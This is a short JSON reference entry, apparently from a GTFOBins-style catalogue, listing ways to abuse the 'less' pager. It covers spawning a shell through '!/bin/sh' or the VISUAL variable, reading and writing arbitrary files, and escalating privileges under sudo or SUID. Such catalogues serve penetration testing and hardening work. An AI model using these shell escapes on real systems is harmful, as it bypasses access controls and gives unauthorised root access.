{ "functions": { "shell": [ { "code": "less /etc/profile\n!/bin/sh\n" }, { "code": "VISUAL=\"/bin/sh -c '/bin/sh'\" less /etc/profile\nv\n" } ], "file-read": [ { "code": "less [file]" }, { "description": "This is useful when 'less' is used as a pager by another binary to read a different file.", "code": "less /etc/profile\n:e [file]\n" } ], "file-write": [ { "code": "echo DATA | less\n[file]\nq\n" }, { "description": "This invokes the default editor to edit the file. The file must exist.", "code": "less [file]\nv\n" } ], "sudo": [ { "code": "sudo less /etc/profile\n!/bin/sh\n" } ], "suid": [ { "code": "./less [file]" } ] } }